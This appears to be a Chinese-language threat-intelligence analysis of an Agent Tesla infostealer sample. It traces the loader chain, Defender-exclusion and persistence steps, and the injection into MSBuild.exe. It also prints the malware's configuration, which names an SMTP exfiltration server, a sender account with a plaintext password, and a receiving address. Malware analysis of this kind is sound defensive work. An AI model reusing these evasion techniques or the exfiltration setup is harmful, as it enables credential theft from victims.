| 窃密木马家族 |
Agent Tesla |
| 编译语言 |
.NET |
| 首次发现时间 |
2014年 |
| 针对平台 |
Windows |
| 主要传播方式 |
网络钓鱼 |
| 主要分析对抗技术 |
载荷混淆、多层载荷加载、进程注入 |
| 主要窃取目标 |
系统数据、浏览器、电子邮件、FTP、VPN、远程连接工具、即时通讯软件、数据库、下载器 |
| 其他恶意行为 |
禁用系统功能、持久化 |
样本情况
1 2 3 4 5
| 文件名: SOA MAY.pdf_______________________________________________________________________.exe 大小: 727552 字节 文件版本: 0.0.5.5 MD5: 6A5EDFEDCACD647606F65F573BA88FD5 SHA1: E03491D78351A41011798D2F713A5296DFCC0553
|
样本释放第一层载荷
获取名为“sahu”的资源对象,解码出RC4密钥“0x44 0x46 0x45 0x47 0x55 0x31 0x35 0x37 0x45 0x34 0x59 0x34 0x38 0x35 0x38 0x45 0x54 0x47 0x35 0x47 0x43 0x35”
使用密钥解码出下一个模块SimpleLogin,该模块为一个.net程序集的PE文件。


通过反射机制获取程序集对象SimpleLogin,并创建Pia4ntb8MiUGvhGsP9.RLhDAEYwfjHvjWVq5a实例。

传递的参数如下

第一层载荷
sleep 10112ms

解压缩名为“zzz”的资源数据

以解压缩的资源数据为对象,加载程序集Gamma(第二层载荷)。并创建指向该数据集中 ReactionDiffusionLib.ReactionVessel 类的对象

调用ReactionDiffusionLib.ReactionVessel类中的CausalitySource方法解出参数Zuob

调用ReactionDiffusionLib.ReactionVessel类中的CausalitySource方法解出参数eir

获取主程序的资源Zuob,并将该图片资源像素点数据转换为字节流

调用ReactionDiffusionLib.ReactionVessel类中的SearchResult方法解码字节流,可以看到解码出的是一个PE程序

加载解码出的程序集Tyrone(第三层载荷)

执行程序集中 T3reatI1l1Onow9d2c.qnY1dVtHD4DbcDHSBN 类的RdihiuuJZA()方法

第三层载荷
创建互斥体,设置守护进程,进程睡眠0x19s

检查进程是否具有管理员权限,如果具有管理员权限,则添加自己为Windows Defender排除项

复制主程序到%AppData%路径下,并设置计划任务实现持久化

异或解码出Tyrone程序集中的 T71qM6HMRpQ 资源,解码后可以看到该资源是一个PE程序

将解码出的PE程序注入MSBuild.exe

Agent Tesla
MD5:3544CB0B8734581E6A729ED85D89D5FA
结束除当前进程外的所有同名进程

初始化,获取一些设备信息,包括计算设备ID、获取设备IP等
获取的设备信息

搜集Firefox、Chrome、Edge等28款浏览器的信息
搜集电子邮件、FTP、VPN、数据库等信息
发送邮件将收集到的信息发送出去


样本部分配置信息如图,可以看出有些功能并未打开,比如键盘记录、屏幕记录、剪切板记录等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| public static string PcHwid = ""; public static string ThisComputerName = ""; public static string AsmFilePath = ""; public static string PublicIpAddress = ""; public static bool PublicIpAddressGrab = Convert.ToBoolean("true"); public static string IpApi = "https://api.ipify.org"; public static jcSOCBsUWLk.U8lcIO lastInputInf = default(jcSOCBsUWLk.U8lcIO); public static string PublicUserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0"; public static bool PcState = true; public static string Log_text = ""; public static bool EnableKeylogger = Convert.ToBoolean("false"); public static bool EnableScreenLogger = Convert.ToBoolean("false"); public static bool EnableClipboardLogger = Convert.ToBoolean("false"); public static bool EnableTorPanel = Convert.ToBoolean("false"); public static bool EnableCookies = Convert.ToBoolean("false"); public static bool EnableContacts = Convert.ToBoolean("false"); public static bool DeleteBackspace = Convert.ToBoolean("false"); public static int TorPid = 0; public static int KeyloggerInterval = Convert.ToInt32("20"); public static int ScreenInterval = Convert.ToInt32("20"); public static int LogType = Convert.ToInt32("1"); public static bool SmtpSSL = Convert.ToBoolean("false"); public static int SmtpPort = Convert.ToInt32("587"); public static bool SmtpAttach = Convert.ToBoolean("false"); public static string SmtpServer = "mail.mayedasselectromech.com"; public static string SmtpSender = "nksharma@mayedasselectromech.com"; public static string SmtpPassword = "India@2014"; public static string SmtpReceiver = "solomonchimaobi709@gmail.com"; public static bool AppAddStartup = Convert.ToBoolean("false"); public static bool HideFileStartup = Convert.ToBoolean("false"); public static string AppStartupFullPath = ""; public static string StartupDirectoryPath = ""; public static string StartupEnvName = "appdata"; public static string StartupDirectoryName = "KRIPvjV"; public static string StartupInstallationName = "KRIPvjV.exe"; public static string StartupRegName = "KRIPvjV";
|
总结
|
模块描述 |
功能描述 |
| 主样本 |
SOA MAY.pdf_______________________________________________________________________.exe |
解密资源释放下一层载荷 |
| 第一层载荷 |
SimpleLogin |
解密资源释放下一层载荷 |
| 第二层载荷 |
Gamma |
提供解密函数 |
| 第三层载荷 |
Tyrone |
实现持久化功能等功能,向MSBuild注入playload |
| 注入MSBuild载荷 |
fa16cf2d-8af2-4e7a-8bd2-d55470e17d2f |
Agent Tesla |